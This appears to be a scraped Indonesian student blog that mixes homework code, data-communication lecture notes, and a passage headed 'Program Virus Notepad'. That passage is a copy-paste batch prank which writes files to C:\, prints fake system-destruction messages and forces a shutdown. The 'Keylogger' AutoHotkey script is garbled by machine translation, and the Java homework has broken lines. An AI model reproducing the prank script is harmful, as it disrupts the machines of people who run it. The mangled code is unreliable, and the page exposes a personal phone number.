Autohotkey(Keylogger)

# SingleInstance mengabaikan
# NoEnv

OnExit, ExitMsg

Menu, nampan, NoStandard
Menu, nampan, tambahkan
Menu, nampan, menambah, Bantuan
Menu, nampan, tambahkan
Menu, nampan, menambah, ArbList
Menu, nampan, tambahkan
Menu, nampan, menambah, Keluar
Menu, nampan, tambahkan
Menu, nampan, Tip, ArbExpansion `nCreated oleh:` nHiddenTrojan `n

Gui, Font, CFF0000 S15 Bold
Gui, Warna, 000000
Gui, Tambah, Teks,, ArbExpansion sedang loading. Untuk melihat daftar singkatan `nright klik pada ikon system tray, dan pilih" ArbList ".
Gui,-SysMenu + AlwaysOnTop
Gui, Show, Pusat H80 W580, ArbExpansion
Tidur, 6500
Gui, Hancurkan
Kembali

Bantuan:
Gui, Hancurkan
Gui, Font, CFF0000 S14 Bold
Gui, Warna, 000000
Gui, Tambah, Edit, W570 R20 + VScroll + HScroll-Bungkus + ReadOnly, ArbExpansion adalah program yang dirancang untuk memperluas internet yang digunakan singkatan-singkatan seperti "BRB". `N` nWhile program ini berjalan mengetik "brb", maka ruang atau tombol enter akan menghasilkan: "Jadilah segera kembali" `n` nHanya singkatan internet yang paling umum digunakan telah ditambahkan `n` nAnda dapat keluar dari program ketika sedang berjalan dengan menekan Ctrl + E atau dengan mengklik "Keluar.. ".` n `nJika Anda ingin memiliki program yang dijalankan pada Startup menambahkan shortcut dari file ke Folder Startup Anda.` n `nJika Anda melihat singkatan hilang atau jika Anda memiliki masalah dengan program ini.` n `tidak pesan "hiddentrojan" di AOL Instant Messenger, atau email saya `nEmail Alamat:. hacknet99@yahoo.com `n` n "yellowjacketf4i" <- AOL Instant Messenger, Membantu menemukan singkatan hilang dan program pengujian `n` n `nIni. program freeware, dan dapat didistribusikan secara bebas.
Gui, + AlwaysOnTop
Gui, Show, Pusat H540 W600, ArbExpansion Bantuan
ControlSend, Edit1, ^ {Depan}, ArbExpansion Bantuan
Kembali

ArbList:
Gui, Hancurkan
Gui, Font, CFFFFFF S12 Bold
Gui, Warna, 000000
Gui, Tambah, Teks, S13 CFF0000, Daftar singkatan yang digunakan.
Gui, Tambah, Edit, W245 R17 + VScroll + HScroll-Bungkus + ReadOnly, btw-By the way `nbbl-Be kembali nanti` nwtf-Apa ****` nwth-Apa `nyo-Hei, whats up `ny-mengapa?` nidk-aku tidak tahu `nbrb-akan segera kembali` nidc-aku tidak peduli `NNP-Tidak masalah` NNM-Tidak banyak `nnvm-Lupakan saja NNS-Nice` ditembak `nthx- Terima kasih `ngg-Baik permainan` NGL-Good luck `ngj-Bagus` nhf-Bersenang-senang `NPO-Piece dari kotoran` nppl-Orang `nstfu-Shut up` **** nsob-Brengsek ` Bicara nttyl-nanti `nasap-Sesegera mungkin` Naka-Juga dikenal sebagai `nimo-Menurut pendapat saya` nbs-Banteng sial `nic-aku melihat` noic-Oh, saya melihat `nly-Cinta ya` nlyl- Cinta ya banyak `nomg-Ya Tuhan` Maaf `nsry-ng2g-aku harus pergi sekarang` ngtg-aku harus pergi sekarang `ndn-Jangan tahu` nidn-aku tidak tahu `nrofl-berguling di lantai `nlmao tertawa-tertawa pantatku off` nlmfao-Tertawa **** pantatku off `nu-Anda` Nur-kau `NCU-nanti` ncul-nanti `nbf-teman Boy` NGF-Girl Teman `nasl-Age/Sex/Location?` njk-Hanya bercanda `ncya-CYA kemudian` nwb-Selamat datang kembali `nirl-Dalam kehidupan nyata` nw / e-Apa yang pernah `nk-Oke
Gui, + AlwaysOnTop
Gui, Show, Pusat H420 W275, Daftar Singkatan
ControlSend, Edit1, ^ {Depan}, Daftar Singkatan
Kembali

Keluar:
ExitApp

^ E::
ExitApp

ExitMsg:
Gui, Hancurkan
Gui, Font, CFF0000 S15 Bold
Gui, Warna, 000000
Gui, Tambah, Teks,, Terima kasih telah menggunakan ArbExpansion. `Program nthe sekarang akan keluar.
Gui,-SysMenu + AlwaysOnTop
Gui, Show, Pusat H80 W375, AbrExit
Tidur, 3000
ExitApp
Kembali

# Hotstring SI

:: Btw:: By the way
:: Bbl:: Jadilah kembali nanti
:: Wtf:: Apa yang ****
:: Wth:: Apa yang
:: Yo:: Hei, whats up?
:: Y:: mengapa
:: Idk:: Saya tidak tahu
:: Brb:: Jadilah segera kembali
:: Idc:: Saya tidak peduli
:: Np:: Tidak masalah
:: Nm:: Tidak banyak
:: Nvm:: Tidak apa-apa
:: Ns:: Tembakan bagus
:: Thx:: Terima kasih
:: Gl:: Good luck
:: G +:: Good job
:: Gg:: Game Baik
:: Hf:: Have fun
:: Pos:: Piece of kotoran
:: Ppl:: orang
:: STFU:: Shut up ****
:: Sob:: Brengsek
:: Singkatan:: Sampai nanti
:: Asap:: Sesegera mungkin
:: Alias:: Juga dikenal sebagai
:: IMO:: Menurut pendapat saya
:: Bs:: sialan Banteng
:: Ic:: Saya melihat
:: OKI:: Oh, saya melihat
:: Ly:: Cinta ya
:: Lyl:: Cinta ya banyak
:: Omg:: Ya Tuhan
:: Sry:: Maaf
:: G2G:: Saya harus pergi sekarang
:: GTG:: Saya harus pergi sekarang
:: Dn:: Tidak tahu
:: Idn:: Saya tidak tahu
:: Rofl:: Rolling di lantai tertawa
:: Lmao:: Tertawa pantatku off
:: LMFAO:: Tertawa **** pantatku off
:: U:: Anda
:: Ur:: Anda sedang
:: Cu:: Lihat nanti
:: Cul:: Lihat nanti
:: Bf:: teman Boy
:: GF:: Gadis teman
:: Dpl:: Umur / Sex / Lokasi?
:: Jk:: Hanya bercanda
:: CYA:: CYA kemudian
:: Wb:: Selamat datang kembali
:: IRL:: Dalam kehidupan nyata
:: W / e:: Apa yang pernah
:: K:: Oke

Teknik Komunikasi Data Digital

Sinkronisasi :
 Adalah satu kunci kerja dari komunikasi data.
 Transmiter mengirimkan pesan 1 bit pada satu saat melalui medium ke receiver.
 Receiver harus menandai awal dan akhir blok dari bit, juga harus diketahui durasi untuk masing-masing bit sehingga dapat sample lajur dari timing untuk membaca masing-masing bit (merupakan tugas dari timming).
 Contoh : jika ada perbedaan misalkan 1 % (clock receiver 1% lebih lambat atau lebih cepat daripada clock transmitter), maka pada pensamplingan pertama akan meleset dari tengah bit dan setelah jumlah waktu tertentu, akan mengalami error.

Sinkronisasi :
1. Asynchronous
Untuk mencegah problem timming dengan tidak mengirim aliran bit panjang yang tidak putus-putusnya. Bit-bit dikirim per-karakter pada setiap waktu yang mana masing-masing karakter mempunyai panjang 5-8 bit. Timing atau synchronisasi harus dipertahankan antara tiap karakter; receiver mempunyai kesempatan untuk men-synchron-kan awal dari tiap karakter baru.
Keterangan gambar 4.1 :
 Idle (biasanya =’1’) jika tidak ada karakter yang ditransmisikan dan start bit = “0”, sedangkan jumlah karakter yang ditransmisikan antara 5-8 bit.
 Bit paritas digunakan untuk mendeteksi error, diatur oleh pengirim agar jumlah total ‘1’ termasuk bit paritas adalah genap, dan stop bit = ‘1’, yang panjangnya 1; 1,5; 2 kali durasi bit pada umumnya
 Komunikasi asinkron adalah sederhana dan murah, tetapi memerlukan overhead dari 2 ke 3 bit per karakter, prosentasi overhead dapat dikurangi dengan mengirimkan blok-blok bit besar antara bit start dan bit stop
 Contoh : akan dikirimkan data ASCII ABC dengan A = 41H, B = 42H dan C = 43H tanpa paritas, maka :
A = 0100 00012 invert kode ASCII 7 bit
100 00012
B = 0100 00102 invert kode ASCII 7 bit
010 00012
C = 0100 00112 invert kode ASCII 7 bit
110 00012


Gambar 4.1. Transmisi Asynchronous

Datanya terdiri dari kode ASCII 7 bit dan bit stop, maka :

010000011001000011011000011 ………..1111




Kode 7 bit memakai panjang 1 bit untuk bit start dan 1 bit untuk bit stop, maka overheadnya 2 / 9 = 0,22.

2. Synchronous / timing

 Efisien, karena blok-blok karakter / bit-bit ditransmisikan tanpa kode start dan stop, tetapi tiap blok blok dimulai dengan suatu pola preamble bit dan diakhiri dengan pola postamble bit. Pola-pola ini adalah kontrol informasi.
 Waktu kedatangan dan keberangkatan untuk masing-masing bit dapat diramalkan.
 Frame adalah data plus kontrol informasi. Format framenya tergantung dari metode transmisi, yaitu
- Transmisi orientasi karakter
 Blok-blok data dikerjakan sebagai barisan karakter (biasanya 8 bit karakter), frame dimulai dengan 1 atau lebih karakter sinkronisasi. Karakter sinkronisasi biasanya disebut dengan “SYN” yang merupakan bit pattern unik sinyal yang diterima penerima permulaan dari blok.
 Penerima kemudian merubah blok-blok data yang datang oleh karakter SYN dan menerima data sampai karakter postamble (informasi yang terletak pada bagian belakang blok data yang dikirimkan) terlihat dan begitu seterusnya
- Transmisi bit.
 Blok-blok data dikerjakan sebagai barisan bit-bit, tidak ada data maupun informasi kontrol diperlukan untuk menginter-prestasikan dalam satuan karakter 8 bit
 Pada awal terdapat flag, begitu juga pada akhir yang panjangnya 8 bit yang berguna sebagai awal dan akhir untuk penerima

Perbandingan asinkron dan sinkron
 Untuk blok-blok data yang cukup besar, transmisi sinkronisasi jauh lebih efisien daripada asinkron. Transmisi asinkron memerlukan overhead 20 % atau lebih.
 Bila menggunakan transmisi sinkron biasanya lebih kecil dari 1000 bit, yang mengandung 48 bit kontrol informasi (termasuk flag), maka untuk pesan 1000 bit, overheadnya adalah 48 / 1048 X 100% = 4.6%

Urutan pengerjaan sinkronisasi yaitu :
1. Sinkronisasi bit
Ditandai awal & akhir untuk masing-masing bit
2. Sinkronisasi karakter / kata
Ditandai awal dan akhir untuk masing-masing karakter / satuan kecil lainnya dari data
3. Sinkronisasi blok / pesan
Ditandai awal dan akhir dari satuan besar data. Dan untuk pesan yang besar, dibagi-bagi menjadi beberapa blok kemudian baru dikirimkan pengurutan blok-blok yang telah dibagi tersebut adalah tugas dari timming. Sedangkan pengaturan level sinyal adalah tugas dari sintax dan untuk melihat arti dari pesan adalah tugas dari semantik.

Deteksi error dengan Redundansi, yaitu data tambahan yang tidak ada hubungannya dengan isi informasi yang dikirimkan, berupa bit pariti. Berfungsi menunjukkan ada tidaknya kesalahan data. Yaitu dengan mendeteksi dan mengoreksi kesalahan yang terjadi. Makin banyak redundansi makin baik deteksi errornya. Akibatnya makin rendah troughput dari data yang berguna.

Troughput adalah perbandingan antara data yang berguna dengan data keseluruhan. Banyaknya tambahan pada redundansi sampai 100% dari jumlah bit data.

Teknik mendeteksi error :
Teknik deteksi error menggunakan error-detecting-code, yaitu tambahan bit yang ditambah oleh transmitter. Dihitung sebagai suatu fungsi dari transmisi bit-bit lain. Pada receiver dilakukan perhitungan yang sama dan membandingkan kedua hasil tersebut, dan bila tidak cocok maka berarti terjadi deteksi error. Dan Apabila sebuah frame ditransmisikan ada 3 kemungkinan klas yang dapat didefinisikan pada penerima, yaitu :
1. Klas 1 (P1) : Sebuah frame datang dengan tidak ada bit error (jadi tidak berarti dalam mendeteksi error, karena nggak ada error!)
2. Klas 2 (P2) : Sebuah frame datang dengan 1 atau lebih bit error yang tidak terdeteksi
3. Klas 3 (P3) : Sebuah frame datang dengan 1 atau lebih bit error yang terdeteksi dan tidak ada bit error yang tidak terdeteksi. (nggak berarti juga, semua error udah terdeteksi)

Ada dua pendekatan untuk deteksi kesalahan :
1. Forward Error Control
Dimana setiap karakter yang ditransmisikan atau frame berisi informasi tambahan (redundant) sehingga bila penerima tidak hanya dapat mendeteksi dimana error terjadi, tetapi juga menjelaskan dimana aliran bit yang diterima error.
2. Feedback (backward) Error Control
Dimana setiap karakter atau frame memilki informasi yang cukup untuk memperbolehkan penerima mendeteksi bila menemukan kesalahan tetapi tidak lokasinya. Sebuah transmisi kontro digunakan untuk meminta pengiriman ulang, menyalin informasi yang dikirimkan.

Feedback error control dibagi menjadi 2 bagian, yaitu :
1. Teknik yang digunakan untuk deteksi kesalahan
2. Kontrol algoritma yang telah disediakan untuk mengontrol transmisi ulang.

Metode Deteksi Kesalahan :
1. Echo
Metode sederhana dengan sistem interaktif. Operator memasukkan data melalui terminal dan mengirimkan ke komputer. Komputer akan menampilkan kembali ke terminal, sehingga dapat memeriksa apakah data yang dikirimkan dengan benar.
2. Error Otomatis / Parity Check
Penambahan parity bit untuk akhir masing-masing kata dalam frame. Tetapi problem dari parity bit adalah impulse noise yang cukup panjang merusak lebih dari satu bit, pada data rate yang tinggi.

Jenis Parity Check :
a. Even parity (paritas genap), digunakan untuk transmisi asynchronous. Bit parity ditambahkan supaya banyaknya ‘1’ untuk tiap karakter / data adalah genap
b. Odd parity (paritas ganjil), digunakan untuk transmisi synchronous. Bit parity ditambahkan supaya banyaknya ‘1’ untuk tiap karakter / data adalah ganjil

Dengan bit pariti dikenal 3 deteksi kesalahan, yaitu :
a. Vertical Redundancy Check / VRC
Setiap karakter yang dikirimkan (7 bit) diberi 1 bit pariti. Bit pariti ini diperiksa oleh penerima untuk mengetahui apakah karakter yang dikirim benar atau salah. Cara ini hanya dapat melacak 1 bit dan berguna melacak kesalahan yang terjadi pada pengiriman berkecepatan menengah, karena kecepatan tinggi lebih besar kemungkinan terjadi kesalahan banyak bit.
Kekurangan : bila ada 2 bit yang terganggu ia tidak dapat melacaknya karena paritinya akan benar.
Contoh :
ASCII huruf "A" adalah 41h
100 0001 ASCII 7 bit
1100 0001 ASCII dengan pariti ganjil
0100 0001 ASCII dengan pariti genap
Akibatnya huruf "A" kode ASCII dalam Hex :
- 41 bilamana pariti genap
- A1 bilamana pariti ganjil

b. Longitudinal Redundancy Check / LRC
LRC untuk data dikirim secara blok. Cara ini seperti VRC hanya saja penambahan bit pariti tidak saja pada akhir karakter tetapi juga pada akhir setiap blok karakter yang dikirimkan. Untuk setiap bit dari seluruh blok karakter ditambahkan 1 bit pariti termasuk juga bit pariti dari masing-masing karakter. Tiap blok mempunyai satu karakter khusus yang disebut Block Check Character (BCC) yang dibentuk dari bit uji. dan dibangkitkan dengan cara sebagai berikut :
"Tiap bit BCC merupakan pariti dari semua bit dari blok yang mempunyai nomor bit yang sama. Jadi bit 1 dari BCC merupakan pariti genap dari semua bit 1 karakter yang ada pada blok tersebut, dan seterusnya"
Kerugian : terjadi overhead akibat penambahan bit pariti per 7 bit untuk karakter.

c. Cyclic Redundancy Check / CRC
Digunakan pengiriman berkecepatan tinggi, sehingga perlu rangkaian elektronik yang sukar. Cara CRC mengatasi masalah overhead dan disebut pengujian berorientasi bit, karena dasar pemeriksaan kemungkinan kesalahan adalah bit / karakter dan menggunakan rumus matematika khusus.

Contoh menggunakan paritas genap :

VRC

1 0 1 1 0 1 1 1 ‘1’=5
1 1 0 1 0 1 1 1 ‘1’=5
0 0 1 1 1 0 1 0 ‘1’=4
1 1 1 1 0 0 0 0 ‘1’=4
1 0 0 0 1 0 1 1 ‘1’=3
0 1 0 1 1 1 1 1 ‘1’=5
0 1 1 1 1 1 1 LRC
‘1’=4 ‘1’=3 ‘1’=3 ‘1’=5 ‘1’=3 ‘1’=3 ‘1’=5



Satu blok informasi dilihat sebagai sederetan bit yang ditransmisikan. Bit yang ditransmisikan dimasukkan kedalam register geser siklis yang disebut generator CRC. Operasi ini didasarkan atas pembagian deretan bit dengan sebuah fungsi khusus.
Hasil bagi pembagian diabaikan. Sisanya disalurkan sebagai BCS (Block Check Sequence). Fungsi khusus tersebut disebut generator polynominal.

Realisasi Generator CRC / Penguji
Data dimasukkan kedalam register geser pada berbagai titik melalui gerbang XOR yang mempunyai hubungan langsung dengan generator polynominal yaitu rumus matematika untuk membagi bit data. Lebih baik dari VRC / LRC, 99% error dapat terdeteksi.

Contoh hasil pada register geser 16 bit dengan gerbang XOR, dimana input pada bit 0, 5, 12 dan output pada bit 15, maka :
• CRC-CCITTT = X16 + X12 + X5 + 1
• CRC-16 = X16 + X15 + X2 + 1
• CRC-12 = X12 + X11 + X3 + X2 + 1
• LRC = X8 + 1
• RC-32 = X32 + X26 + X23 + X22 + X16
+ X12 + X11 + X10 + X8 + X7 + X5 + X4 + X2 + X1 + 1

3. Framing Check
Dipakai pada transmisi asinkron dengan adanya bit awal dan akhir. Data berada diantara bit awal dan bit akhir. Dengan memeriksa kedua bit ini dapat diketahui apakah data dapat diterima dengan baik atau tidak. Transmisi asinkron mempunyai bentuk bingkai sesuai dengan ketentuan yang dipergunakan

Pendekatan yang umum dipakai adalah data link layer memecah aliran bit menjadi frame-frame diskrit dan menghitung checksum setiap framenya. Ketika sebuah frame tiba di tujuan, checksum dihitung kembali. Bila hasil perhitungan ulang checksum tersebut berbeda dengan yang terdapat pada frame, maka data link layer akan mengetahui bahwa telah terjadi error dan segera akan mengambil langkah tertentu sehubungan dengan adanya error tersebut (misalnya, membuang frame yang buruk dan mengirimkan kembali laporan error).

Salah satu cara untuk melaksanakan pembuatan frame ini adalah dengan cara menyisipakn gap waktu di antara dua buah frame, sangat mirip seperti spasi antara dua buah katan dalam suatu teks. Akan tetapi, jaringan jarang memberikan jaminan tentang pewaktuan. Karena itu, mungkin saja gap ini dibuang, atau diisi oleh gap lainnya selama proses transmisi, karena sangat besar risikonya dalam menghitung pewaktuan untuk menandai awal dan akhir frame, telah dibuat metode lainnya, yaitu 4 buah metoda :
1. Karakter penghitung
2. Pemberian karakter awak dan akhir, dengan pengisian karakter
3. Pemberian flag awal dan akhir, dengan pengisian bit
4. Pelanggaran pengkodean physical layer.

Metoda framing pertama menggunakan sebuah field pada header untuk menspesifikasikan jumlah karakter di dalam frame. Ketika data link layer pada mesin yang dituju melihat karakter penghitung, maka data link layer akan mengetahui jumlah karakter yang mengikutinya, dan kemudian juga akan mengetahui posisi ujung frame-nya. Masalah yang dijumpai dalama algoritma ini adalah bahwa hitungan dapat dikacaukan oleh error transmisi. Misal bila hitungan karakter 5 frame menjadi 7, maka tempat yang dituju akan tidak sinkron dan tidak dapat mengetahui awal frame berikutnya.

Bahkan bila cheksum tidak benar sehingga tempat yang dituju mengetahui bahwa frame yang bersangkutan buruk, maka tidak mungkin untuk menentukan awal frame berikutnya. Pengiriman kembali sebuah frame ke sumber untuk meminta pengiriman ulangpun tidak akan menolong, karena tempat yang dituju tidak mengetahui jumlah karakter yang terlewat untuk mendapatkan awal transmisi. Untuk alasan ini, metoda hitungan karakter ini sudah jarang digunakan lagi.

Metode framing yang kedua mengatasi masalah resinkronisasi setelah terjadi suatu error dengan membuat masing-masing frame diawali dengan sederetan karakter DLE STX ASCII dan diakhiri dengan DLE ETX (DLE=Data Link Escape, STX=Start Of Text, ETX=End Of Text). Dalam metoda ini, bila tempat yang dituju kehilangan track batas-batas frame, maka yang perlu dilakukan adalah mencari karakter-karakter DLE STX dan DLE ETX. Masalah serius yang terjadi pada metoda ini adalah ketika data biner, seperti program object, atau bilangan floating point, ditransmisikan. Karakter-karakter DLE STX dan DLE ETX yang terdapat pada data mudah sekali menganggu framing. Satu cara untuk mengatasi masalah ini adalah dengan membuat data link pengirim menyisipkan sebuah karakter DLE ASCII tepat sebelum karakter DLE "insidentil" pada data. Data link layer pada mesin penerima membuang DLE sebelum data diberikan ke network layer. Teknik ini disebut character stuffing (pengisian karakter). DLE-DLE pada data selalu digandakan. Kerugian penting dalam memakai metoda framing ini sangat berkaitan erat dengan karakter 8-bit secara umum dan kode karakter ASCII pada khususnya. Dengan berkembangnya jaringan, kerugian dari melekatkan kode karakter dalam mekanisma framing menjadi semakin jelas, sehingga suatu teknik baru perlu dibuat untuk memungkinkan pemakaian karakter berukuran sembarang.

Teknik baru memungkinkan frame data berisi sembarang sejumlah bit dan mengijinkan kode karakter dengan sembarang jumlah bit per karakter. Teknik ini bekerja seperti berikut, setiap frame diawali dan diakhiri oleh pola bit khusus, 01111110 yang disebut flag. Kapanpun data link layer pada pengirim menemukan lima buah flag yang berurutan pada data, maka data link layer secara otomatis mengisikan sebuah bit 0 ke aliran bit keluar. Pengisian bit ini analog dengan pengisian karakter, dimana sebuah DLE diisikan ke aliran karakter keluar sebelum DLE pada data. Ketika penerima melihat 5 buah bit 1 masuk yang berurutan, yang diikuti oleh sebuah bit 0, maka penerima secara otomatis mengosongkan (menghapus) bit 0 tersebut. Seperti halnya pengisian karakter transparan sepenuhnya bagi network layer pada kedua buah komputer, demikian pula halnya dengan pengisian bit. Bila data pengguna berisi pola flag 01111110, maka flag ini akan ditransmisikan kembali sebagai 011111010 tapi akan disimpan di memory penerima sebagai 01111110. Dengan pengisian bit, maka batas antara dua frame dapat dikenal jelas oleh pola flag. Jadi bila penerima mengalami kehilangan track frame tertentu, yang perlu dilakukan adalah menyisir input deretan flag, karena flag tersebut hanya mungkin terdapat pada batas frame saja dan tidak pernah berada pada data.

Metode framing terakhir hanya bisa digunakan bagi jaringan yang encoding pada medium fisiknya mengandung beberapa redundansi (pengulangan). Misalnya, sebagian LAN melakukan encode bit 1 data dengan menggunakan 2 bit fisik. Umumnya, bit1 merupakan pasangan tinggi-rendah dan bit 0 adalah pasangan rendah-tinggi. Kombinasi pasangan tinggi-tinggi dan rendah-rendah tidak digunakan bagi data. Proses itu berarti bahwa setiap bit data memiliki transisi di tengah, yang memudahkan penerima untuk mencari batas bit. Manfaat kode fisik yang invalid merupakan bagian standard LAN 802.2.

Program Virus Notepad

Silahkan COPY PASTE Program Dibawah ini
Save as dengan nama hhhh.bat



cls

:A

color 0a

cls

@echo off

echo Wscript.Sleep 5000>C:\sleep5000.vbs

echo Wscript.Sleep 3000>C:\sleep3000.vbs

echo Wscript.Sleep 4000>C:\sleep4000.vbs

echo Wscript.Sleep 2000>C:\sleep2000.vbs

cd %systemroot%\System32

dir

cls

start /w wscript.exe C:\sleep3000.vbs

echo BERSIAP-SIAP MENGHANCURKAN SYSTEM…

echo …………………

echo:

echo:

start /w wscript.exe C:\sleep3000.vbs

echo NEXT…………!

echo:

echo:

echo HI, HENDRA HASIM

echo MAU JADI TEMAN AKU ??

echo:

echo:

echo LENGKAPNYA HENDRAHASIM HARAHAP, NTAR SELANJUTNYA AKU KASIH DATA YG LENGKAP YAA.

start /w wscript.exe C:\sleep2000.vbs

echo …………

start /w wscript.exe C:\sleep4000.vbs

echo …………

echo NTAR…….!

start /w wscript.exe C:\sleep2000.vbs

echo:

echo:

echo:

echo DARI BLOGNYA HASIMHENDRA.BLOGSPOT.COM…

cd C:\Documents and Settings\All Users\Start Menu\Programs\

mkdir Si_Ganteng_Hendra

start /w wscript.exe C:\sleep3000.vbs

echo:

echo:

echo:

echo:

echo COMING UP NEXT……. :-)

echo BY HENDRAHASIM HARAHAP

echo ELECTRICAL ENGINEERING, STMIK BUDIDARMA, WEST SUMATERA, INDONESIA

echo hendrahasim@ymail.com

echo CALL ME YACHH 085213938302 SMS JUG BOLEH LHO :-D

echo:

echo:

echo:

echo:

echo:

echo SABARAN BRO…

start /w wscript.exe C:\sleep3000.vbs

echo ………..

echo zzzzzzz….

echo:

echo:

start /w wscript.exe C:\sleep3000.vbs

echo OKE….Virus AKTIF!

echo:

echo:

echo:

start /w wscript.exe C:\sleep2000.vbs

echo FIREWALL KAMU ANCUR…

start /w wscript.exe C:\sleep2000.vbs

echo SEMUA PROSESS UDAH DIBANTAI…

start /w wscript.exe C:\sleep2000.vbs

echo VIRUS SILAHKAN BOOTING DENGAN SEGALA HORMAT…

start /w wscript.exe C:\sleep2000.vbs

echo:

echo:

echo:

echo VIRUS MASUK PODIUM!

start /w wscript.exe C:\sleep2000.vbs

echo:

echo:

echo SALAM DARI SI GANTENG : HENDRAHASIM HARAHAP.

echo hasimhendra.blogspot.COM

echo:

echo:

echo:

echo:

start /w wscript.exe C:\sleep2000.vbs

pause

shutdown -f -s -c “BACK TO MASJID, BACK TO ISLAM.”

Free Download clip Video

Selalu Ada Dalam Benak ku

KEJAR TERUS SAMPAI DAPAT

LOGO

SOAL 3

3. Selesaikanlah pengurutan dengan menggunakan methode BUBLE SORT



NPM: 1011754 MODULE 5 = 4

Tipe 4 : 40, 99, 60, 30, 45, 16

Penyelesaian:



Kasus : Tipe 4 : 40, 99, 60, 30, 45, 16



i=0 j=5 -> T: 40, 99, 60, 30, 16, 45

j=4 -> T: 40, 99, 60, 16, 30, 45

j=3 -> T: 40, 99, 16, 60, 30, 45

j=2 -> T: 40, 16, 99, 60, 30, 45

j=1 -> T: 16, 40, 99, 60, 30, 45



i=1 j=5 -> F: 16, 40, 99, 60, 30, 45

j=4 -> T: 16, 40, 99, 30, 60, 45

j=3 -> T: 16, 40, 30, 99, 60, 45

j=2 -> T: 16, 30, 40, 99, 60, 45



i=2 j=5 -> T: 16, 30, 40, 99, 45, 60

j=4 -> T: 16, 30, 40, 45, 99, 60



i=3 j=5 -> T: 16, 30, 40, 45, 60, 99

Pembelajaran ku

Sangat Lah Menyenangkan
Pokok nya Best of the best lah
Meski Membuat Wajah Jadi Keriput

Tugas Ke 5 Program C++ Hasil Input Data Siswa

include "conio.h"
#include "iostream.h"
#include "stdio.h"

struct siswa {
char nis[8];
char nama[30];
int tahun ;
} rsiswa[40];
void main(){
int i=0,j;
char lg;
long uang ;
do{
gotoxy(10,5);cout<<"input data siswa ";
gotoxy(10,6);cout<<"-----------------";
gotoxy(10,7);cout<<"Nis :";gets(rsiswa[i].nis);
gotoxy(10,8);cout<<"Nama :";gets(rsiswa[i].nama);
gotoxy(10,9);cout<<"tahun :";cin>>rsiswa[i].tahun;
gotoxy(10,10);cout<<"input lagi[Y/T]:";cin>>lg;
clrscr();i++;
}while(lg=='Y'|| lg=='y');
gotoxy(5,2);cout<<"laporan dta siswa";
gotoxy(5,3);cout<<"-----------------";
gotoxy(5,4);cout<<" No Nis Nama Tahun Uang Sekolah ";
gotoxy(5,5);cout<<"-----------------";
for(j=0;j switch(rsiswa[j].tahun){
case 2008:uang=100.000;break;
case 2009:uang=175.000;break;
case 2010:uang=200.000;break;
depault :uang=0;
}
gotoxy(5,6+j);cout< gotoxy(29,6+j);cout< }gotoxy(5,7+j);cout<<"--------------------------------------------";
}

HENDRA BLOG: Tugas Ke 4 Program C++ Hasil Penjualan Barang/Prod...

HENDRA BLOG: Tugas Ke 4 Program C++ Hasil Penjualan Barang/Prod...: "#include #include #include #include #include void main() { char kd; char nm[30]; char *nama; char *jenis; int jumlah, jns; float..."

Tugas Ke 4 Program C++ Hasil Penjualan Barang/Produk

#include
#include
#include
#include
#include
void main()
{
char kd;
char nm[30];
char *nama;
char *jenis;
int jumlah, jns;
float harga=0;
long total;
char lagi='y';
clrscr();
while(lagi=='Y'||lagi=='y')
{
gotoxy(10,5);
cout<<"penjualan barang elektronik\n";
gotoxy(10,6);
cout<<"------------------------------\n";
gotoxy(10,7);
cout<<"nama pembeli="; cin>>nm;
gotoxy(10,8);
cout<<"kode barang[A/B/C]="; cin>>kd;
gotoxy(10,9);
cout<<"jenis bayar[1. tunai/2. kredit]="; cin>>jns;
gotoxy(10,10);
cout<<"-------------------------------\n";
if((kd=='A'||kd=='a')&&(jns==1))
{
nama="televisi";
jenis="tunai";
harga=500000;
}
else if((kd=='A'||kd=='a')&&(jns==2))
{
nama="televisi";
jenis="kredit";
harga=650000;
}
else if((kd=='B'||kd=='b')&&(jns==1))
{
nama="kipas angin";
jenis="tunai";
harga=150000;
}
else if((kd=='B'||kd=='b')&&(jns==2))
{
nama="kipas angin";
jenis="kredit";
harga=250000;
}
else if((kd=='C'||kd=='c')&&(jns==1))
{
nama="VCD";
jenis="tunai";
harga=300000;
}
else if((kd=='C'||kd=='c')&&(jns==2))
{
nama="VCD";
jenis="kredit";
harga=450000;
}
else
{
nama="_";
jenis="_";
harga=0;
}
gotoxy(10,11);
cout<<"Nama barang="<gotoxy(10,12);
cout<<"jenis bayar="<gotoxy(10,13);
cout<<"harga barang="<gotoxy(10,14);
cout<<"jumlah beli="; cin>> jumlah;
total=harga*jumlah;
gotoxy(10,15);
cout<<"total bayar="<gotoxy(10,16);
cout<<"--------------------";
gotoxy(10,17);
cout<<"masih mau beli barang lagi[y/t]="; cin>>lagi;
clrscr();
}
}

Tugas Ke 3 Program Java.

class Lat3{

    public static void main(String Arg[]) throws IOException{

    String str;
    String nm;
    int ttlhrg;
    int hrg;
    int kde;
    int jlh;

    BufferedReader Get=new BufferedReader(new
    InputStreamReader(System.in));

    System.out.print(" Kode        :  "); str=Get.readLine();
   
    kde = Integer.parseInt(str);
       
        switch(kde){
            case 1 : nm= "Televisi" ; hrg= 1750000;
            break;
            case 2 : nm= "DVD" ; hrg= 750000;
            break;
            case 3 : nm= "CD Rom" ; hrg= 450000;
            break;
            default:
            nm= ""; hrg= 0 ;
        }
    System.out.println(" Nama        :  " + nm);
    System.out.println(" Harga       :  " + hrg);

   
    System.out.print(" Jumlah      :  "); str=Get.readLine();
    jlh = int.parslnt (string);

    ttlhrg = jlh * hrg ;
   
    System.out.println(" Total Harga :  " + ttlhrg);
   
    }
}
  

Tugas Ke 2. Menghitung p,l,s,pil,r; Lingkaran Dan Persegi Panjang

#include "stdio.h"
#include "conio.h"
#include "iostream.h"

void main(){
    int p,l,s,pil,r;
    float ls,vol;
    do {
      clrscr();
      gotoxy(20,5);cout<<"menu";
      gotoxy(20,6);cout<<"1.hitung volume";
      gotoxy(20,7);cout<<"2.hitung luas lingkaran";
      gotoxy(20,8);cout<<"3.hitung luas pp";
      gotoxy(20,9);cout<<"4.keliling lingkarang";
      gotoxy(20,10);cout<<"5.keliling persegi panjang";
      gotoxy(20,11);cout<<"6.keluar";
      gotoxy(20,12);cout<<"pilihan:";cin>>pil;

      clrscr();
      switch(pil){
      case 1:
         gotoxy(20,5);cout<<"hitung volume";
         gotoxy(20,6);cout<<"sisi";
         cin>>s;
         vol=s*s*s;
         gotoxy(20,7);cout<<"volume:"<<vol;
         break;

      case 2:
         gotoxy(20,5);cout<<"hitung luas lingkaran";
         gotoxy(20,6);cout<<"jari-jari";
         cin>>r;
         ls=3.14*r*r;
         gotoxy(20,7);cout<<"luas lingkaran:"<<ls;
         break;

     case 3:
        gotoxy(20,5);cout<<"hitung luas persegi panjang";
